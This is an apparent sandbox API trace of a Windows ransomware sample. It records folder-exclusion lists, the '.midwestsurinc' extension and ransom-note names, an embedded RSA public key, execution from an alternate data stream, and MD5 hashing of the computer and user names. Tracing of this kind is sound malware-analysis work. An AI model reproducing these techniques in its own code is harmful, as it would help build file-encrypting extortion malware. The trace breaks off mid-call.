[0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35da58 [0229.567] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35dae0) returned 1 [0229.567] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c1f8) returned 1 [0229.567] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2d8) returned 1 [0229.567] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0229.567] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2c8) returned 1 [0229.567] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d5e8) returned 1 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x2800) returned 0x2182850 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.567] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x10) returned 0x35d5e8 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d2c8 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c1f8 [0229.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35dae0 [0229.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c1f8, cbMultiByte=25, lpWideCharStr=0x35dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35db68 [0229.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35db68 [0229.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c1b0, cbMultiByte=12, lpWideCharStr=0x35db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35dbf0 [0229.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35dbf0 [0229.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c168, cbMultiByte=8, lpWideCharStr=0x35dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35dc78 [0229.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0229.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35dc78 [0229.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c120, cbMultiByte=6, lpWideCharStr=0x35dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0229.568] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35dd00 [0229.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0229.568] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35dd00 [0229.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c240, cbMultiByte=11, lpWideCharStr=0x35dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0229.568] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35dd88 [0229.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0229.568] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35deb0 [0229.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c0d8, cbMultiByte=7, lpWideCharStr=0x35deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0229.568] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35df38 [0229.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0229.568] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35df38 [0229.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c288, cbMultiByte=11, lpWideCharStr=0x35df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0229.568] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35dfc0 [0229.568] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x2182850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0229.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2182850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0229.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35dfc0 [0229.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2182850, cbMultiByte=14, lpWideCharStr=0x35dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0229.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e048 [0229.569] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x2182850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0229.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2182850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0229.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e048 [0229.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2182850, cbMultiByte=10, lpWideCharStr=0x35e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0229.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e0d0 [0229.569] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x2182850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0229.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2182850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0229.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e0d0 [0229.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2182850, cbMultiByte=15, lpWideCharStr=0x35e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0229.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e158 [0229.569] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x2182850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0229.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2182850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0229.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e158 [0229.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2182850, cbMultiByte=56, lpWideCharStr=0x35e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0229.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e1e0 [0229.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2185058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0229.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e1e0 [0229.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2185058, cbMultiByte=14, lpWideCharStr=0x35e1e0, cchWideChar=14 | out: lpWideCharStr=".midwestsurinc") returned 14 [0229.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e268 [0229.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2185058, cbMultiByte=21, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0229.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e268 [0229.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2185058, cbMultiByte=21, lpWideCharStr=0x35e268, cchWideChar=21 | out: lpWideCharStr=".midwestsurinc_readme") returned 21 [0229.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e1e0 [0229.570] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0229.570] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0229.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x240) returned 0x2187cf8 [0229.570] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x2187cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2187cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0229.570] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x2187cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0229.574] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x280) returned 0x2187f40 [0229.574] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x2187cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x2187f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x2187f40, pcbStructInfo=0x18fd24) returned 1 [0229.574] CryptImportPublicKeyInfo (in: hCryptProv=0x522010, dwCertEncodingType=0x10001, pInfo=0x2187f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x2187f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x2187f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x526260) returned 1 [0229.576] ReleaseMutex (hMutex=0xc4) returned 1 [0229.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0229.576] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e1e0 [0229.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x35c900, cbMultiByte=9, lpWideCharStr=0x35e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0229.576] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e268 [0229.576] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0229.576] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) returned 0 [0229.596] GetLastError () returned 0x427 [0229.596] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" [0229.596] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin", pNumArgs=0x18fddc | out: pNumArgs=0x18fddc) returned 0x526558*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x10) returned 0x35d5e8 [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x35d288 [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e268 [0229.596] LocalFree (hMem=0x526558) returned 0x0 [0229.596] Wow64DisableWow64FsRedirection (in: OldValue=0x18fdd8 | out: OldValue=0x18fdd8*=0x0) returned 1 [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x800) returned 0x2187cf8 [0229.596] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2187cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1:bin")) returned 0x2e [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x800) returned 0x2188500 [0229.596] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2188500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1:bin")) returned 0x2e [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e1e0 [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e2f0 [0229.596] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e1e0) returned 1 [0229.596] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e2f0) returned 1 [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x5c) returned 0x35dd28 [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e2f0 [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e1e0 [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e378 [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e400 [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e488 [0229.596] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e510 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e598 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e620 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e6a8 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e730 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e7b8 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x100) returned 0x2188d08 [0229.597] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x2188d08, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0229.597] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2188d08) returned 1 [0229.597] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0229.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x35c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.597] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0229.597] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c288 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c240 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c900 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c948 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x100) returned 0x2188d08 [0229.597] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x2188d08, nSize=0x40 | out: lpBuffer="XDUWTFONO$") returned 0xa [0229.597] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2188d08) returned 1 [0229.597] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0229.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO$", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c990 [0229.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO$", cchWideChar=10, lpMultiByteStr=0x35c990, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO$", lpUsedDefaultChar=0x0) returned 10 [0229.597] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c9d8 [0229.598] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c990) returned 1 [0229.598] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0229.598] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c9d8) returned 1 [0229.598] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c9d8 [0229.598] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x526610) returned 1 [0229.599] CryptCreateHash (in: hProv=0x526610, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0229.599] CryptHashData (hHash=0x526598, pbData=0x35c240, dwDataLen=0x16, dwFlags=0x0) returned 1 [0229.599] CryptGetHashParam (in: hHash=0x526598, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0229.599] CryptGetHashParam (in: hHash=0x526598, dwParam=0x2, pbData=0x35c9d8, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x35c9d8, pdwDataLen=0x18fc34) returned 1 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c990 [0229.599] CryptDestroyHash (hHash=0x526598) returned 1 [0229.599] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.599] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c9d8) returned 1 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c9d8 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35ca20 [0229.599] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c9d8) returned 1 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c9d8 [0229.599] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c9d8) returned 1 [0229.599] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35ca20) returned 1 [0229.599] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c990) returned 1 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c990 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x184) returned 0x2188d08 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35ca20 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c9d8 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35ca68 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35cab0 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35caf8 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35cb40 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35cb88 [0229.599] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35cbd0 [0229.600] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2188eb0 [0229.600] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2188ef8 [0229.600] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2188f40 [0229.600] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2188f88 [0229.600] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2188fd0 [0229.600] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189018 [0229.600] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189060 [0229.600] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21890a8 [0229.600] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0x0 [0229.600] GetLastError () returned 0x2 [0229.600] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x5000) returned 0x2182850 [0229.600] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21890f0 [0229.600] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21890f0) returned 1 [0229.600] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0229.609] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2182850) returned 1 [0229.609] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x51d030, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0229.609] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21890f0 [0229.609] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0x120 [0229.609] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21890f0) returned 1 [0229.609] GetLastError () returned 0x0 [0229.609] SetSecurityInfo () returned 